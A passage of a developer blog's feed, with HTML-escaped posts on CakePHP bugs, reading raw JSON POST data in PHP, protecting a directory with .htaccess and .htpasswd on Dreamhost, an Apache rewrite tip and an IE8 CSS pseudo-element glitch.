&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Email&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;__header&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;MIME-Version: 1.0&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Email&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // We display debug info&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$sendAsDebug&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    debug&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Session&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;Message.email.message&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;), &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // We also need to clear the generated view so our display does not get poisoned by the Email display&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  ClassRegistry::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;removeObject&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;view&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  <entry>
    <title>Getting raw JSON POST in PHP</title>
    <link href="https://blog.pixelastic.com/2011/02/03/raw-json-post-php/"/>
    <updated>2011-02-03T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/02/03/raw-json-post-php</id>
    <content type="html">&lt;p&gt;Sometimes you need to post raw &lt;code&gt;POST&lt;/code&gt; data without following the key/value
convention, like when you need to post to some webservices.&lt;/p&gt;
&lt;p&gt;Accessing it from PHP can be a little obsure at first, but all that is needed is
to read the input buffer by doing: &lt;code&gt;file_get_contents(&amp;quot;php://input&amp;quot;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This can be useful when posting raw JSON without adding the overhead of all the
keys.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Malformed POST request made to an absolute url with Flash</title>
    <link href="https://blog.pixelastic.com/2011/02/02/malformed-post-request-absolute-url-flash/"/>
    <updated>2011-02-02T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/02/02/malformed-post-request-absolute-url-flash</id>
    <content type="html">&lt;p&gt;Sometimes you encounter bugs that smacks you in the face with their strangeness.
And even when you defeated them you still have this sour taste of puzzlement.&lt;/p&gt;
&lt;p&gt;I encountered one of them today.&lt;/p&gt;
&lt;p&gt;While testing in a local environment and doing POST requests from Flash to a
distant cake app, I could get the request just fine.&lt;/p&gt;
&lt;p&gt;But when uploading the SWF on the server and embedding it in a Facebook App
Iframe, the POST data seemed corrupted and I couldn&#39;t get it.&lt;/p&gt;
&lt;p&gt;Replacing the distant POST call to a local one (removing the whole &lt;code&gt;http://&lt;/code&gt;
part) fixed this strange bug.&lt;/p&gt;
&lt;p&gt;So we ended by adding a check to see if we were online or local and make an
absolute or relative call depending on the environment.&lt;/p&gt;
&lt;p&gt;So far, no more issues.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Going to parent folder in Windows 7 Explorer</title>
    <link href="https://blog.pixelastic.com/2011/01/21/parent-folder-windows-7-explorer/"/>
    <updated>2011-01-21T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/01/21/parent-folder-windows-7-explorer</id>
    <content type="html">&lt;p&gt;At first I thought I missed an option somewhere, but now I have to admit:
Microsoft removes the &amp;quot;Go to parent folder&amp;quot; button in the Windows 7 version of
Explorer.&lt;/p&gt;
&lt;p&gt;I like their new implementation of folder path, but a fast click to go up one
level, positionned in a consistent way in the UI is a plus.&lt;/p&gt;
&lt;p&gt;After some research I found the &lt;code&gt;Alt + Up&lt;/code&gt; keyboard shortcut to achieve the same
result, but while navigating through the explorer, I always am using my mouse.
Switching from mouse to keyboard is tedious, so I hunt for another solution.&lt;/p&gt;
&lt;p&gt;I finally installed
&lt;a href=&quot;http://sourceforge.net/projects/classicshell/&quot;&gt;ClassicShell&lt;/a&gt; that adds the
missing button as well as some other minor cosmetics changes.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Protecting a directory using HTTP Auth on Dreamhost with cakePHP</title>
    <link href="https://blog.pixelastic.com/2011/01/20/protecting-directory-http-auth-dreamhost-cakephp/"/>
    <updated>2011-01-20T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/01/20/protecting-directory-http-auth-dreamhost-cakephp</id>
    <content type="html">&lt;p&gt;One can protect the browsing of a special directory with a simple set of
login/password by using appropriate &lt;code&gt;.htaccess&lt;/code&gt;/&lt;code&gt;.htpasswd&lt;/code&gt; files.&lt;/p&gt;
&lt;h2&gt;The classic way&lt;/h2&gt;
&lt;p&gt;Just create an &lt;code&gt;.htaccess&lt;/code&gt; in the directory you want to protect with the
following lines:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-apache&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;AuthName&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; &quot;Restricted Access&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;AuthType&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; Basic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;AuthUserFile&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; /full/path/to/your/.htpasswd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x3C;Limit &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;GET POST PUT&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Require&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; valid-user&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;&amp;#x3C;/Limit&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And to create the .htpasswd file, run the following command:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;htpasswd&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; /full/path/to/your/.htpasswd&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; username&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;-c&lt;/code&gt; modifier will create the file, omit it if you only want to add a new
user. Also change the path to your &lt;code&gt;.htpasswd&lt;/code&gt; file (moving it out of the webdir
could be a good idea) and change &lt;code&gt;username&lt;/code&gt; to any login you want.&lt;/p&gt;
&lt;p&gt;You&#39;ll then be prompted to enter the password (twice) and your file will be
generated.&lt;/p&gt;
&lt;h2&gt;cakePHP and Dreamhost fixed&lt;/h2&gt;
&lt;p&gt;I had an issue when protecting a folder in my &lt;code&gt;app/webroot/&lt;/code&gt; folder on
Dreamhost. I&#39;m not sure it is completly cake related nor Dreamhost related but
the two together made it quite hard to debug.&lt;/p&gt;
&lt;p&gt;Anyway, it appears that when issuing an HTTP Auth, Dreamhost redirect to a file
named &lt;code&gt;/failed_auth.html&lt;/code&gt; (this is the file you&#39;re supposed to see when your
Auth fails, obviously).&lt;/p&gt;
&lt;p&gt;But as I didn&#39;t have such a file in my app, everytime I tried to access my
protected dir, I got my custom 404 error page.&lt;/p&gt;
&lt;p&gt;To finally fix that, all I had to do was to create a real &lt;code&gt;failed_auth.html&lt;/code&gt;
page, or in my case, create a Route that redirect &lt;code&gt;failed_auth.html&lt;/code&gt; to a custom
failed auth page.&lt;/p&gt;
&lt;p&gt;I guess just dropping a &lt;code&gt;failed_auth.html&lt;/code&gt; file in &lt;code&gt;app/webroot/&lt;/code&gt; could have
done the trick too.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Strange requestAction bug changing the page Content-Type</title>
    <link href="https://blog.pixelastic.com/2011/01/11/strange-requestaction-bug-changing-page-content-type/"/>
    <updated>2011-01-11T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/01/11/strange-requestaction-bug-changing-page-content-type</id>
    <content type="html">&lt;p&gt;Today, I thought my current project was finished. But I had this bug report in
my tracker from one of the beta-tester telling me that one of the page wasn&#39;t
rendered properly.&lt;/p&gt;
&lt;p&gt;It says that the code source was displayed on screen instead of being rendered
as HTML. And only on Firefox.&lt;/p&gt;
&lt;p&gt;And if that wasn&#39;t odd enough, even with the plethora of Firefox versions I got,
I couldn&#39;t reproduce the bug on my side.&lt;/p&gt;
&lt;h2&gt;Turning off the debugger to debug&lt;/h2&gt;
&lt;p&gt;Then I had an idea. I turned off the debug mode, and was then able to reproduce
the infamous bug.&lt;/p&gt;
&lt;p&gt;As I initially supposed, there was something wrong with the &lt;code&gt;Content-Type&lt;/code&gt;
header. The Firebug Net Panel told me that it was set as &lt;code&gt;text/plain&lt;/code&gt; while the
developer toolbar insisted that it was &lt;code&gt;text/html&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After some digging in my own code, I found the culprit. A &lt;code&gt;requestAction()&lt;/code&gt; call
I made as part of an update process. This &lt;code&gt;requestAction&lt;/code&gt; was targeted at a
&lt;code&gt;.txt&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;I played a little with the debug value and found that for any value above 2,
everything was working correctly, but if I set my value below that threshold, my
whole view will get displayed as &lt;code&gt;text/plain&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I couldn&#39;t quite explain why a debug value will have anything to with the view
rendering. I even disabled the Debug Kit component, just to be sure.&lt;/p&gt;
&lt;h2&gt;Digging into cake world&lt;/h2&gt;
&lt;p&gt;And then I decided to follow the dispatch trace to find where the debug value
was being used. After a long journey, I got to the &lt;code&gt;respondAs&lt;/code&gt; method of the
&lt;code&gt;RequestHandler&lt;/code&gt; component.&lt;/p&gt;
&lt;p&gt;And specifically, to that part:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;Configure::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;read&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; &amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;defined&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;CAKEPHP_SHELL&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;_header&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$header&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ok, so there was my debug value. Exactly the code reponsible for my symptoms.
Well, I still don&#39;t understand WHY someone wanted to add an header based on the
debug value, but I could easily understand HOW it made my view that ugly.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;requestAction&lt;/code&gt; was being dispatched all along the way to its final action,
firing the &lt;code&gt;RequestHandler&lt;/code&gt; component on its way. Its extension being &lt;code&gt;.txt&lt;/code&gt;,
&lt;code&gt;RequestHandler&lt;/code&gt; will fire its &lt;code&gt;respondAs&lt;/code&gt; method and set the appropriate
header.&lt;/p&gt;
&lt;p&gt;Unfortunatly, setting such an header in a &lt;code&gt;requestAction&lt;/code&gt; wasn&#39;t useful for the
request, and additionnaly, it was messing with the primary view dispatch path.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;I[ reported the
bug](http://cakephp.lighthouseapp.com/projects/42648-cakephp/tickets/1445
-requestaction-may-change-the-current-layout-depending-on-debug-value) hoping
for a fix in a future version. For the time being, I manually set the debug to 2
before calling my &lt;code&gt;requestAction&lt;/code&gt;, and set it back to its previous value after
in my app.&lt;/p&gt;
&lt;p&gt;And for why it was only buggy on Firefox, it was caused by a double header
definition. A first header was telling &lt;code&gt;text/plain&lt;/code&gt; and a second one
&lt;code&gt;text/html&lt;/code&gt;. I guess Firefox uses the first one while other browsers the last.
This is what made Firebug and the Developer Toolbar return different results
too.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Apache rewrite_mod small tip</title>
    <link href="https://blog.pixelastic.com/2011/01/10/apache-rewrite-mod-small-tip/"/>
    <updated>2011-01-10T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/01/10/apache-rewrite-mod-small-tip</id>
    <content type="html">&lt;p&gt;Did you know that when debugging &lt;code&gt;RewriteRule&lt;/code&gt;s, instead of
commenting/uncommenting each line, you can simply make &lt;code&gt;RewriteEngine On&lt;/code&gt; /
&lt;code&gt;RewriteEngine Of&lt;/code&gt;f all along your code?&lt;/p&gt;
&lt;p&gt;I didn&#39;t, and now that I do it seems so obvious I don&#39;t believe I&#39;ve never
thought of that before...&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>IE8 ghost:after and :before pseudo elements</title>
    <link href="https://blog.pixelastic.com/2011/01/07/ie8-ghost-pseudo-elements/"/>
    <updated>2011-01-07T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/01/07/ie8-ghost-pseudo-elements</id>
    <content type="html">&lt;p&gt;IE8 has a strange bug (&lt;em&gt;what bugs aren&#39;t strange in IE ?&lt;/em&gt;) when dealing with
&lt;code&gt;:after&lt;/code&gt; and &lt;code&gt;:before&lt;/code&gt; pseudo-elements.&lt;/p&gt;
&lt;p&gt;I was adding a nice looking arrow after one of my elements using &lt;code&gt;:after&lt;/code&gt;. I
wanted this arrow to only display when my element was hovered, so I wrote the
following code:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; href&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;#&quot;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;Example&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&amp;#x3C;/&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  position&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;relative&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  height&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;:after&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  position&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;absolute&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  content&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  top&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  right&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;-15&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  width&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;15&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  height&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  background&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;arrow.gif&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; top&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; left&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; no-repeat&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;none&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;:hover:after&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, nothing too fancy. I positionned my arrow using an empty
&lt;code&gt;:after&lt;/code&gt; element and a &lt;code&gt;background&lt;/code&gt; image. I defaulted the arrow to hidden, and
only show it when hovering the element.&lt;/p&gt;
&lt;h2&gt;IE in action&lt;/h2&gt;
&lt;p&gt;It does work pretty well in moder browsers. It also seems to work on IE8. When
you hover the element in IE8, the arrow gets displayed. But it does not gets
hidden when you stop hovering it.&lt;/p&gt;
&lt;p&gt;There&#39;s a kind of ghost element that keeps getting displayed. It gets removed if
you directly mouse it, or scroll your page, or alt-tab, etc. This clearly is a
display artefact.&lt;/p&gt;
&lt;p&gt;To counter this I had to write it in an other fashion (less readable in my
opinion). Removing the default &lt;code&gt;a:after&lt;/code&gt; rule and adding all properties to
&lt;code&gt;a:hover:after&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  position&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;relative&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  display&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;block&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  height&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;30&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;px&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;a&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;:hover:after&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
